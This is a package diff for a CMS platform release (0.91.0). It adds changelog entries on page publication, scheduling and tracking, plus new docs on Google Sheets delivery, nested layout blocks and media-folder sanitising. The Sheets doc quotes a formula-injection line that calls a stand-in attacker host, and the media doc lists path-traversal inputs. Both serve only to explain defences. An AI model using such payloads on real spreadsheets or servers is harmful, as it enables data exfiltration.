@bygghammar/cms-platform 0.90.0-m7.9 → 0.91.0

package/CHANGELOG.md

@@ -8,6 +8,247 @@ matches `package.json` exactly. See
 Versions 0.1.0 through 0.78.0 predate this repository and were reconstructed
 from the published npm tarballs.
 
+## 0.91.0
+
+- Stable promotion of `0.91.0-m7.1`. There are no runtime source, database
+  schema, migration or behaviour changes in this release; only the package
+  version and this release note differ.
+- Published on npm's default `latest` dist-tag. The milestone `m7` dist-tag
+  remains on `0.91.0-m7.1`, and consuming sites should pin the exact stable
+  version `0.91.0`.
+- `PLATFORM_CONTRACT_VERSION` remains 2. Sites upgrading from
+  `0.90.0-m7.12` or earlier must apply all three new canonical migrations in
+  chronological order, then verify `compareSchema` and
+  `assertPlatformContract(2)` before enabling editors.
+
+## 0.91.0-m7.1
+
+**`PLATFORM_CONTRACT_VERSION` is 2.** This release changes what a host's
+database must provide, and a breaking contract change takes a minor bump while
+this package is pre-1.0, so the minor moves and the milestone counter restarts.
+The channel is unchanged: this publishes to the `m7` dist-tag and does not move
+`latest`.
+
+- `page_publications` alone decides what the public website serves. A page with
+  no open publication row cannot be reached, however well somebody knows its
+  URL, and the public reader answers from those rows.
+- `pages.status` is separate editorial metadata. It does not grant or withhold
+  public access, and it is not a mirror of it: a page whose status is `draft`
+  can intentionally be public for the length of a scheduled publication window,
+  because the row says so and the status has no vote.
+- Publishing is an explicit, confirmed act. Publish and unpublish both ask
+  first, and the confirmation follows the transition rather than the state, so
+  publishing over a queued update says that it cancels that update and
+  unpublishing over a schedule says that it cancels the schedule. New and
+  duplicated pages start as drafts.
+- Scheduling is real, and the two schedulable things have different shapes. A
+  page version has a required start and an optional end, and the transition is
+  applied inside the same statement that records it. Menu items, footer columns
+  and footer links support independent show and hide boundaries through one
+  `isVisibleAt`: either bound may be left empty, and an item with neither is
+  simply live. Instants are stored as UTC; editors type wall-clock time in the
+  site's timezone.
+- Cancelling a schedule is no longer a way to unpublish. The server refuses to
+  cancel a publication row that has already started and names Unpublish as the
+  thing to use instead, because cancelling a started row would take the page off
+  the public website — possibly restoring an older version — under a word that
+  promises the opposite. A row that is already inactive answers
+  `already-cancelled` and writes nothing.
+- The trash cannot leave a page published. Soft-deleting retires the
+  publication rows that made it public, and restoring puts a page back as a
+  draft instead of silently republishing whatever was live when it was deleted.
+  Restore now refuses a page that is not in the trash rather than retiring its
+  publications.
+- A screen left open crosses a publication boundary in front of the editor.
+  Both the builder and the pages list re-read themselves when the next
+  scheduled transition falls due, through one hook that owns a chain of timers.
+  A boundary that has passed is asked about once and then on a bounded, growing
+  wait — thirty seconds doubling to five minutes — so a slow or failing read
+  cannot turn into a zero-delay refetch loop; what restores the ordinary timer
+  is a new `publication_at` arriving in fresh data.
+- Layout blocks are a real nested block model. A layout block holds two to
+  eight columns that fold through tablet to a single column on mobile, and an
+  illegal move is refused by a typed `MoveResult` instead of being silently
+  dropped.
+- Icon cards become a scroll-snap carousel on mobile only; desktop is
+  unchanged. It honours `prefers-reduced-motion`, is keyboard-navigable, and
+  adds no dependency.
+- Uploads land in dated media folders. No existing file moves and no existing
+  URL changes. A custom folder name is sanitised, or refused outright rather
+  than allowed to escape its prefix.
+- Google Sheets delivery moves to a service account, so the spreadsheet stays
+  private and no credential reaches the browser. A submission is stored before
+  delivery is attempted, so a Sheets outage cannot lose one, and "Test
+  connection" classifies each failure instead of reporting an unproven write as
+  success — it never writes a row.
+- Menu and footer each pick a Google font independently, from a static
+  catalogue, offering only the weights a family actually has. No API key is
+  needed in the browser to show the picker, and no font is selected for an
+  existing site by this release.
+- New documentation: `docs/PAGES.md`, `docs/SCHEDULING.md`,
+  `docs/LAYOUT-BLOCKS.md`, `docs/MEDIA-FOLDERS.md`, `docs/GOOGLE-SHEETS.md` and
+  `docs/TYPOGRAPHY.md`.
+
+**All three new migrations must be applied, in chronological order.** The latter
+two are the contract-v2 publication migrations.
+
+- `20260904090000_c54603f8-a155-40f8-a86c-54434aa5c0ae.sql` — additive only:
+  restates the `pages.status` default, comments the column, adds two partial
+  indexes.
+- `20260904140000_9f2a7c41-06d5-4d6b-8b4e-1c7a5d3e9b20.sql` — backfills one open
+  publication row for every published, undeleted page that has no active row, so
+  a site live before the upgrade is live after it, and installs the functions
+  that own visibility.
+- `20260904160000_0d565000-2839-4738-aacc-537d7090398f.sql` — adds the trash and
+  cancellation functions, and runs two repair `UPDATE`s confined to pages
+  already in the trash.
+
+All three are registered in `SCHEMA_MIGRATIONS`, so `compareSchema` reports any
+one of them as missing — the additive first one included. Skipping it because it
+changes no behaviour still leaves a site reporting drift.
+
+**Deployment must enforce both checks before editors are enabled.**
+`compareSchema(applied)` is what names a missing migration file, and it needs
+the host to hand it the migrations actually applied. `assertPlatformContract(2)`
+compares version numbers and never looks at the database. Neither stands in for
+the other: run both, and let editors back in only once both pass.
+
+## 0.90.0-m7.12
+
+- The page SEO panel no longer prints a bare page path under the Canonical
+  heading. For a locale with no configured public domain there is no canonical
+  URL, and a path shown there reads as an address on whatever hostname the
+  backoffice happens to be open at.
+- That case now says so in words — *No public URL — no domain configured for
+  this language* — instead of a relative path, the current or backoffice
+  hostname, another locale's domain, or a fabricated absolute URL.
+- The Route row is unchanged and still shows the page path alongside the
+  current registry route, so nothing that was accurate is lost.
+- A mapped locale is unaffected: its canonical preview stays absolute on that
+  locale's own domain. So is single-origin mode, where the one hostname serving
+  every language answers for each of them.
+- `pageSeoPreviewCanonical` keeps its signature and its return value, path
+  fallback included, so existing callers are unaffected; what an empty origin
+  means is decided by `PageSeoPanelView`, which owns the display. The helper's
+  documentation now records that the fallback is not a URL.
+- Regression coverage renders the panel and asserts the Canonical row itself
+  for the mapped, single-origin and unmapped cases.
+- No migration and no database change.
+
+## 0.90.0-m7.11
+
+- The page builder no longer invents a public URL for a locale with no
+  configured public domain. An empty `publicHost(locale)` means no public URL
+  exists, and is no longer read as a relative one.
+- For an unmapped locale the page path is shown as plain, non-clickable
+  information, saying that no domain is configured for that language. The
+  public-link anchor and the Copy URL action are omitted rather than pointed
+  somewhere else: no relative href, no backoffice or request hostname, no other
+  locale's domain.
+- Draft Preview keeps working for an unmapped locale. Previewing is a
+  backoffice operation and has never needed a public hostname.
+- The `publicHost`, `publicPath` and `usePageUrl` host contracts document this,
+  so a host knows what the empty string means before it implements one.
+- No migration and no database change. Nothing in this release concerns a
+  host's own integration code.
+
+## 0.90.0-m7.10
+
+- Code & tracking drafts survive a refetch. A background reload replaced the
+  table under the administrator's hands: a brand new profile, a duplicate made
+  from an existing one, and edits typed but not yet saved all disappeared
+  without a word. What the server sends is merged into what is on screen
+  instead of replacing it.
+- Tracking profiles apply in global, then language, then domain order, so a
+  domain profile refines the language one rather than replacing it. Hostname
+  matching is consistent throughout: an apex and its single `www.` are the same
+  site everywhere the decision is made.
+- GTM, GA4, Meta Pixel, TikTok Pixel, verification meta tags and raw
+  head / body-start / body-end code all reach the server-rendered HTML at the
+  position each one requires, rather than depending on a client-side step to
+  fire.
+- Raw custom code is injected byte for byte. `$&`, `` $` ``, `$'` and `$$` in a
+  snippet were read as replacement patterns and rewrote the markup around them;
+  a profile now reaches the page exactly as it was typed.
+- Tracking is excluded from the configured backoffice path, preview routes, API
+  routes and server-function routes, so pixels no longer fire on administrative
+  traffic or on responses that are not pages.
+- A tracking read that fails leaves the public site standing. The page renders
+  without injection, the failure is reported through an injectable logger, and
+  it is not cached — the next request retries instead of serving a fabricated
+  empty configuration for the rest of the cache window. A backend that answers
+  with an error rather than throwing counts as a failure; treating it as "no
+  profiles" made a broken deployment indistinguishable from an unconfigured one.
+- The tracking cache is bounded rather than growing one entry per hostname
+  seen, and a successful create, update or delete drops it, so a change goes
+  live within the TTL instead of sitting behind whatever was cached first.
+- A failed audit entry or a failed log line cannot undo a write that already
+  happened. Both are best-effort in both directions: the mutation stands and is
+  reported as the success it was, rather than coming back as an error whose
+  obvious retry inserts a second profile. That now holds even when the
+  host-supplied logger is itself what throws.
+- A newly created profile whose id the server cannot establish is held until the
+  page is reloaded. The insert may well have landed, so pressing Save again
+  would create a duplicate firing every pixel twice; the screen says to reload,
+  and saving existing profiles is unaffected.
+- Languages & domains has moved out of the main sidebar into System
+  administration, alongside the other installation-level screens.
+- Code & tracking and Languages & domains require the `admin` role, matching the
+  authorization their server functions already enforce. Staff without it get a
+  plain no-access screen instead of a form that fails on Save.
+- Storing a hostname and matching a request against one are now separate
+  questions. Canonical output carries the exact hostname the deployment
+  configured; matching still folds an apex and one `www.` together. A page is no
+  longer canonical on two of its own addresses.
+- Canonical URLs, `og:url`, hreflang, `og:locale:alternate` and both sitemaps
+  are built from the configured canonical hostnames.
+- Rows written before the domain validator existed are ignored for matching and
+  for every generated URL, instead of being normalized into a plausible-looking
+  address. `ftp://example.com` no longer reduces to `example.com` and wins a
+  request for it — which had decided the locale, the tracking profiles that fire
+  and the backoffice hostname alike.
+- In explicit domain-mapping mode a supported language with no configured domain
+  is left out of hreflang and sitemap alternates, instead of borrowing another
+  locale's origin — or the origin of the current request — and advertising a URL
+  this deployment may not serve.
+- Single-origin multilingual sites are supported by the sitemap helpers.
+  `sitemapEntries` and `sitemapIndexEntries` take the public origin and emit
+  absolute URLs only. Previously a locale sitemap could come out carrying
+  relative URLs, while the sitemap index had no domain mappings from which to
+  build entries at all.
+- Public locale-domain projections omit `isAdminDomain`. Which hostname serves
+  the backoffice is not something an anonymous reader needs to be told.
+- `SITE_URL` is validated before it can become the authoritative admin hostname,
+  and as configured rather than after normalizing — normalizing strips the
+  scheme, so a value nobody can serve validated cleanly and was allowed to
+  override the database and switch off the check that stops an unreachable
+  admin domain being saved.
+- Admin-host resolution fails open. An unusable flagged row falls through to the
+  next source instead of stranding the backoffice, the screen names which source
+  the hostname came from, and the banner refreshes when a domain is saved.
+- **Host integration required after upgrading.** Nothing below is done by this
+  package on the host's behalf:
+  - expose the shared Languages & domains screen at the host's canonical
+    `/admin/domains` route;
+  - keep the old `/domains` route as a compatibility redirect where applicable;
+  - register `getEffectiveAdminHost` among the backoffice host functions, so
+    the screen can say where the backoffice actually is;
+  - use `siteCanonicalHost()` when passing `SITE_URL` authority, not the raw
+    environment value;
+  - pass the public origin to `sitemapEntries` and `sitemapIndexEntries` on
+    single-origin sites;
+  - pass the configured `backofficePath` into `createServerEntry`, or tracking
+    will be injected into the backoffice;
+  - split public-safe locale-domain reads from authenticated admin reads; and
+  - ensure the tracking-create server function returns the newly created
+    profile id, which the screen now requires before it will treat a create as
+    complete.
+- No database migration is included in this release, and no database data is
+  changed by it.
+- Not included and not yet verified: Voyara's own integration is not part of
+  this package release, and neither staging nor production has been verified
+  with `0.90.0-m7.10`.
+
 ## 0.90.0-m7.9
 
 - The email settings screen says where provider credentials actually go. An

package/README.md

@@ -33,6 +33,25 @@ overwrite each other: run the migration, expose one server endpoint through
 forward `editSessionId` to the saves. Until that is done every screen behaves
 exactly as it did before locks existed.
 
+## Feature guides
+
+| Guide | What it covers |
+| --- | --- |
+| `docs/PAGES.md` | Draft/published pages, the publish and unpublish confirmations, duplication |
+| `docs/SCHEDULING.md` | `VisibilitySchedule`, site-timezone editing, scheduled menu and footer items |
+| `docs/LAYOUT-BLOCKS.md` | The columns block, the nested block tree and its move rules, the Icon Cards mobile carousel |
+| `docs/MEDIA-FOLDERS.md` | Automatic month folders, custom upload folders and their sanitising, library browsing |
+| `docs/GOOGLE-SHEETS.md` | Service-account form delivery, the connection test, and the server variables it needs |
+| `docs/TYPOGRAPHY.md` | Independent Google Fonts for the menu and the footer |
+
+## Server variables
+
+Beyond the existing provider secrets, Google Sheets delivery reads either
+`GOOGLE_SERVICE_ACCOUNT_JSON`, or `GOOGLE_SERVICE_ACCOUNT_EMAIL` plus
+`GOOGLE_SERVICE_ACCOUNT_PRIVATE_KEY`. All three are server-only; nothing Google
+related is ever read in the browser, and the font picker needs no API key. See
+`docs/GOOGLE-SHEETS.md`.
+
 ## Compatibility policy
 
 - `CHANGELOG.md` records every release; read it before upgrading.
@@ -40,7 +59,10 @@ exactly as it did before locks existed.
   releases are always compatible.
 - `PLATFORM_CONTRACT_VERSION` (`platform/contract`) is bumped when a shared
   screen starts requiring schema or adapter capabilities an older site lacks.
-  Sites pin it in a test.
+  Sites pin it in a test. It is **v2**: page saves, publishing, trashing and
+  restoring go through database functions that the two `20260904…` publication
+  migrations install, so migrations are applied before the package is deployed.
+  `docs/NEW-SITE.md` gives the order.
 - `migrations/` is schema only. Site content, SEO copy and seeds never belong
   there.
 

package/docs/GOOGLE-SHEETS.md

@@ -0,0 +1,145 @@
+# Google Sheets delivery
+
+Form submissions can be appended to a Google Sheet. The spreadsheet stays
+**private**: the site signs in as its own service account, and an editor shares
+the sheet with that account's address exactly as they would with a colleague.
+
+The older pattern — publish the sheet to the web and write to it — is not
+supported, because "make it public so the robot can reach it" is a data breach
+with a workaround's name on it.
+
+## Configuration
+
+The credential lives in the server environment, alongside every other provider
+secret (`src/server/provider-secrets.ts`). Two accepted forms:
+
+| Variable | Notes |
+| --- | --- |
+| `GOOGLE_SERVICE_ACCOUNT_JSON` | The whole downloaded key file. Raw JSON or base64. |
+| `GOOGLE_SERVICE_ACCOUNT_EMAIL` + `GOOGLE_SERVICE_ACCOUNT_PRIVATE_KEY` | The two fields separately. |
+
+The JSON form wins when both are present: it is the artefact Google actually
+hands out, so a deployment that pasted it verbatim should not be quietly
+overridden by a half-filled pair.
+
+`\n` escapes inside the private key are accepted, because that is what a `.env`
+file does to a PEM and every deployment hits it once.
+
+### What must never happen
+
+- **No credential reaches the browser.** The server returns only the service
+  account's *email address*, which is an identifier, not a secret — and it is the
+  one thing the editor cannot guess.
+- **No credential is stored in the database or in page content.** It is an
+  environment variable, full stop.
+- **No credential appears in an error.** `googleErrorDetail` reads only Google's
+  documented status text and truncates it to 200 characters, so an error cannot
+  grow into a key dump.
+
+Signing uses Web Crypto (`RSASSA-PKCS1-v1_5` / SHA-256). No Google SDK, no JWT
+library, no new dependency.
+
+Access tokens are cached for their lifetime minus 60 seconds of slack, so a busy
+form does not pay for an RSA signature and a round trip on every submission.
+`clearGoogleTokenCache()` is the test seam.
+
+## Test connection
+
+The admin panel has a **Test connection** button, and its whole purpose is to
+give a different answer for each different problem. A single "it didn't work" is
+the reason these integrations get abandoned.
+
+| `SheetsErrorCode` | What the editor is told to do |
+| --- | --- |
+| `credentials-missing` | A developer sets the server variables; nothing is fixable from here. |
+| `credentials-invalid` | The stored key is not accepted by Google; re-copy it from the key file. |
+| `invalid-spreadsheet-id` | Copy the long ID from the URL, between `/d/` and `/edit`. |
+| `spreadsheet-not-found` | No spreadsheet with that ID exists. |
+| `permission-denied` | Share the sheet with the address shown, as Editor. |
+| `worksheet-not-found` | Check the tab name — the existing tabs are listed. |
+| `api-unavailable` | Nothing is wrong. Try again shortly. |
+
+On `permission-denied` the panel shows the service account address with a **copy
+button**, because the next thing the editor has to do is paste it into Google's
+share dialog.
+
+`worksheet-not-found` lists the tabs that *do* exist. Nine times out of ten the
+answer is that the tab is called `Blad1`, not `Sheet1`.
+
+**The test never writes a row.** It reads the spreadsheet's title and tab list,
+and asks Drive whether this caller may edit the file. An integration test that
+leaves junk in the customer's sheet trains people not to use it.
+
+`canWrite` therefore has three values, not two:
+
+| `canWrite` | Meaning |
+| --- | --- |
+| `true` | Drive says this account may edit the file. |
+| `false` | Drive says it may not — shared as Viewer, not Editor. The test fails. |
+| `null` | Drive did not answer, usually because its API is not enabled on the project. Write access is **unconfirmed**, and the panel says so. |
+
+`null` is not `true`. Reading the sheet needs less access than appending to it,
+so a green test that could not reach Drive means "the ID, the tab and the
+credentials are right" — not "a submission will land". The panel's wording
+follows that exactly.
+
+## What actually counts as a delivered row
+
+Two things a green test cannot promise, handled at the append itself:
+
+- **A 2xx is not a delivery.** Google answers an append with what it wrote;
+  `appendGoogleSheetRow` reads `updates.updatedRows` and treats anything else —
+  a body it cannot parse, zero rows, a proxy's HTML — as a failed delivery. A
+  submission wrongly marked delivered is the one state nobody goes back and
+  checks.
+- **Every call has a deadline.** `GOOGLE_REQUEST_TIMEOUT_MS` (10s) arms an
+  `AbortSignal` on the token exchange, both connection-test reads and the
+  append. A visitor is waiting on these; a connection Google accepts and never
+  answers must not hold the submission open until something further out gives
+  up. A timeout reports `api-unavailable`, which is already the retryable case.
+
+## Visitor text is text, never a formula
+
+The append sends `valueInputOption=RAW`. `USER_ENTERED` parses each value the
+way it would if a person had typed it into the grid, so a visitor who writes
+`=IMPORTXML("https://evil.test/?c="&A1,"//a")` into a form field would have a
+live formula stored in the customer's sheet, re-running under the sheet owner's
+account every time they open it. RAW stores the characters. The values still
+*look* wrong in the cell, which is the correct outcome: it is what the visitor
+typed.
+
+`sheetRange` quotes the worksheet name in A1 notation and doubles any
+apostrophe in it — `Anna's tab` becomes `'Anna''s tab'!A:Z`. An unquoted tab
+name with a space in it is the most common cause of an append that returns
+`Unable to parse range` after a test that passed.
+
+## Submissions do not depend on Google
+
+A submission is stored first and delivered second. If Sheets is unreachable,
+misconfigured, or returns an error, **the submission is still saved** and the
+failure is recorded against it. The visitor gets their confirmation.
+
+Losing a customer enquiry because a spreadsheet was renamed is not an acceptable
+failure mode, and delivery is a side effect, not the record. The header of
+`forms-submissions-core.ts` states the invariant directly: *a stored submission is
+never deleted by a delivery failure.* The row is inserted, delivery is attempted,
+and the outcome is patched onto the row that already exists.
+
+## The legacy gateway
+
+`appendViaLegacyGateway` is still in `forms-delivery-core.ts`. It is the
+pre-service-account path (`LOVABLE_API_KEY` + `GOOGLE_SHEETS_API_KEY` through a
+third-party connector) and it was left alone deliberately: sites configured
+before this change keep working without an emergency redeployment.
+
+It is **never reached when a service account is configured**, and when neither is
+configured the error it returns names the service-account variables, so the
+message points at the supported path rather than the deprecated one. It is the
+code to delete once every installation has moved.
+
+## Testing
+
+`tests/google-sheets.test.ts` injects a fake `fetch` and a fake `Env`. There is
+no real credential, no network call and no live spreadsheet anywhere in the
+suite. Both `resolveGoogleCredentials` and `googleAccessToken` take their
+environment and their fetch as parameters precisely so this is possible.

package/docs/LAYOUT-BLOCKS.md

@@ -0,0 +1,125 @@
+# Layout, columns and nested blocks
+
+Before this, a page was a flat list of blocks. Now it is a tree, and the tree is
+the part that can lose someone's work: a move that silently drops a block is a
+data-loss bug that looks like a UI glitch.
+
+Everything about the shape of that tree lives in `src/blocks/block-tree.ts`:
+insertion, moving, duplication, and `flattenBlockTree`, which yields every block
+on a page including the ones sitting inside layout columns.
+
+Anything that asks a question *about the blocks on a page* goes through
+`flattenBlockTree` instead of iterating the root array. Global-reference
+resolution, the countdown reveal scheduler, the "one global block per section"
+check and the global usage scan all do. A root-only scan is the shape of bug
+that makes a feature quietly stop working the moment an editor drags the block
+into a column — nothing throws, the feature just misses.
+
+`LayoutBlock` is the exception, and only because there rendering *is* the
+recursion: it walks its own `props.columns` to draw them.
+
+## The layout block
+
+```ts
+LAYOUT_BLOCK_TYPE = "layout"
+LAYOUT_MIN_COLUMNS = 2
+LAYOUT_MAX_COLUMNS = 8
+MAX_LAYOUT_DEPTH  = 3
+```
+
+A layout block's `props.columns` is `BlockInstance[][]` — one array per column.
+Column count is chosen per breakpoint:
+
+| Breakpoint | Choices | Class |
+| --- | --- | --- |
+| Desktop (`lg:`) | 2–8 | `lg:grid-cols-N` |
+| Tablet (`sm:`) | 2, 3 or 4 | `sm:grid-cols-N` |
+| Mobile | always 1 | `grid-cols-1` |
+
+Mobile is not configurable. Two columns on a 375px screen is two unreadable
+columns, and every site that has offered the option has ended up with one.
+
+Narrowing a layout from four columns to two does **not** delete the contents of
+columns three and four — `writeLayoutColumns` folds the overflow into the last
+remaining column. Column count is a presentation choice; it is not a licence to
+throw away blocks. The same function is pure: it returns a new tree and never
+mutates the one passed in.
+
+Gaps come from the theme spacing scale (`gap-0` / `gap-4` / `gap-8` / `gap-12`),
+not from arbitrary pixel values. Every column carries `min-w-0`, because a grid
+child's default `min-width: auto` lets a long unbroken string blow the column
+wider than its track and push the page into horizontal scroll.
+
+## Moving things
+
+`moveBlockInTree(blocks, id, target)` returns a discriminated result rather than
+throwing or silently no-op-ing:
+
+```ts
+type MoveResult =
+  | { ok: true; blocks: BlockInstance[] }
+  | { ok: false; reason: "self" | "descendant" | "too-deep" | "missing" };
+```
+
+The four refusals are the four ways a drag can be nonsense:
+
+- `self` — dropping a block into itself.
+- `descendant` — dropping a container into its own child, which would detach the
+  whole subtree from the document and leak it.
+- `too-deep` — the depth rule, below.
+- `missing` — the dragged id is not in the tree.
+
+`canDropBlock` / `canNestAt` answer the same question without performing the
+move, so the editor can grey out an invalid target instead of accepting the drop
+and then undoing it.
+
+### The depth rule
+
+A drop is refused when `targetDepth + subtreeHeight(moving) > MAX_LAYOUT_DEPTH`.
+
+It is the *height of what you are dragging* that matters, not just where it
+lands. Dropping a plain text block into a column two levels down is fine;
+dropping a layout that already contains a layout into the same place is not,
+because the deepest leaf would end up at level four. `tests/layout-block.test.tsx`
+asserts `subtreeHeight` explicitly at each step so the test states the rule
+rather than encoding a fixture that happens to pass.
+
+Every refusal test asserts the tree is **unchanged**, not merely that `ok` was
+`false`. A refusal that half-applies is worse than a crash.
+
+## Rendering
+
+`PageRenderer` recurses through columns using the same registry as the top
+level, so a block behaves identically wherever it sits. Unknown child types are
+skipped, not rendered as an error — a page that lost one block to a version
+mismatch should still show the other nineteen.
+
+Empty columns render a `Column N` placeholder **in the builder only**. The public
+page renders nothing for them.
+
+## Icon cards on mobile
+
+`src/ui/MobileCarousel.tsx` is a separate, opt-in concern: the Icon Cards block
+takes `mobileLayout: "stack" | "slider"`, and `"stack"` — the default — produces
+exactly the markup it always did. The desktop and tablet grid is unchanged in
+both modes; the carousel only exists below `sm`.
+
+It uses CSS scroll-snap (`snap-x snap-mandatory overflow-x-auto`) rather than a
+carousel dependency. Swiping is the browser's own scrolling, so it is smooth on
+a phone without any JavaScript running per frame.
+
+Two details that were bugs first:
+
+- Slides are located with `[data-cms-slide]`, never by child index. The track
+  also contains the `sr-only` element that names it, and counting that as a slide
+  put the indicator one card ahead of the one on screen.
+- The class is `motion-safe:scroll-smooth`, not `scroll-smooth`. A stylesheet's
+  `scroll-behavior: smooth` overrides `scrollTo({ behavior: "auto" })`, so with
+  the plain class the reduced-motion path animated anyway.
+
+Keyboard: the track is focusable and arrow keys step through slides, wrapping at
+both ends. Autoplay is **off** unless switched on, pauses on interaction, exposes
+a pause control with `aria-pressed`, never runs while the tab is hidden, and does
+not run at all under `prefers-reduced-motion`. The interval is clamped by
+`clampAutoplayMs`, so a mistyped `10` in the admin cannot produce a slideshow
+that changes a hundred times a second.

package/docs/MEDIA-FOLDERS.md

@@ -0,0 +1,90 @@
+# Media folders
+
+`src/media/folders.ts` is the whole of it. Nothing else builds a storage path.
+
+## Existing files do not move
+
+The single most important property: **this change does not touch a byte of
+existing media.** No file is relocated, no path is rewritten, no URL that works
+today stops working. Old files sit at the root; new files go into folders; both
+are listed together.
+
+There is no migration because there is no migration that would be safe. Moving
+objects in storage breaks every URL already pasted into a page, an email or a
+customer's browser history, and storage moves are not transactional with the
+database rows that point at them.
+
+## Automatic month folders
+
+The default upload mode files by month in the site's timezone:
+
+```
+2026-09/skargarden-sunset.jpg
+```
+
+`monthFolder(now, timezone)` is the only producer of that name, and
+`isMonthFolder` recognises it, so the browser can tell an automatic folder from
+one somebody named.
+
+The site's timezone, not UTC: an upload at 01:00 on 1 September in Stockholm
+belongs in `2026-09`, and filing it under `2026-08` because the server thinks in
+UTC would put it in the wrong month for the only people who ever look.
+
+## Custom folders, and the rule about them
+
+An editor can type a folder for a batch instead. This is the input that reaches
+the filesystem, so it is validated rather than trusted.
+
+`sanitizeFolderSegment` keeps `A-Za-z0-9._-` and turns everything else into a
+dash, then strips leading and trailing dots and dashes. The dangerous shapes are
+therefore *structurally impossible* rather than blocked by a denylist:
+
+| Input | Result |
+| --- | --- |
+| `../../etc` | `MediaFolderError` — see below |
+| `/absolute` | `absolute` — leading separators are empty segments and are dropped |
+| `a//b` | `a/b` |
+| `C:\Users\x` | backslashes are separators too, so this is segments, never a drive |
+| `Vinter 2026!` | `Vinter-2026` |
+| `.hidden` | `hidden` |
+| `a/b/c/d/e` | `a/b/c` — capped at `MEDIA_FOLDER_MAX_SEGMENTS` |
+| `` (empty) | `""` → the automatic month folder |
+
+`..` is **refused with an error, not rewritten.** `../../gallery` would sanitize
+to the perfectly safe folder `gallery`, and uploading there would be harmless —
+but it is not what was asked for. Silently filing someone's batch somewhere other
+than where they said is a worse outcome than an error message, and a traversal
+attempt deserves an answer rather than a shrug.
+
+An empty folder is not an error: `assertMediaFolder` returns `""` and the caller
+falls back to the month folder (`assertMediaFolder(input.folder) ||
+monthFolder(...)`). Auto is the default, so "nothing typed" means "use the
+default", not "use the bucket root".
+
+Bounds are explicit: `MEDIA_FOLDER_MAX_SEGMENTS` (3),
+`MEDIA_FOLDER_MAX_SEGMENT_LENGTH` (64), `MEDIA_FOLDER_MAX_LENGTH` (160). A
+thousand-character path is not a legitimate use; it is either an accident or an
+attempt.
+
+`MediaFolderError` carries a message an editor can act on, naming what they
+typed. `sanitizeMediaFolder` returns the cleaned string for the live preview
+under the input, so the editor sees what they will get *before* uploading — the
+sanitiser and the preview are the same function, so they cannot disagree.
+
+Every upload path goes through `assertMediaFolder`. The check is server-side.
+The browser preview is a courtesy, not the control.
+
+## Browsing
+
+The library has three modes:
+
+- **Recent** — newest first across everything, paginated.
+- **Folders** — `summarizeMediaFolders` groups paths into folders with counts;
+  root files appear under `ROOT_FOLDER_LABEL` ("Library root") rather than being
+  hidden, which matters because on an upgraded site that is where all the
+  existing media is.
+- **Search** — by filename, paginated.
+
+Pagination is real: the list requests a page at a time rather than fetching
+every row and slicing in the browser. A library with 8,000 images is the normal
+case after a few years, not an edge case.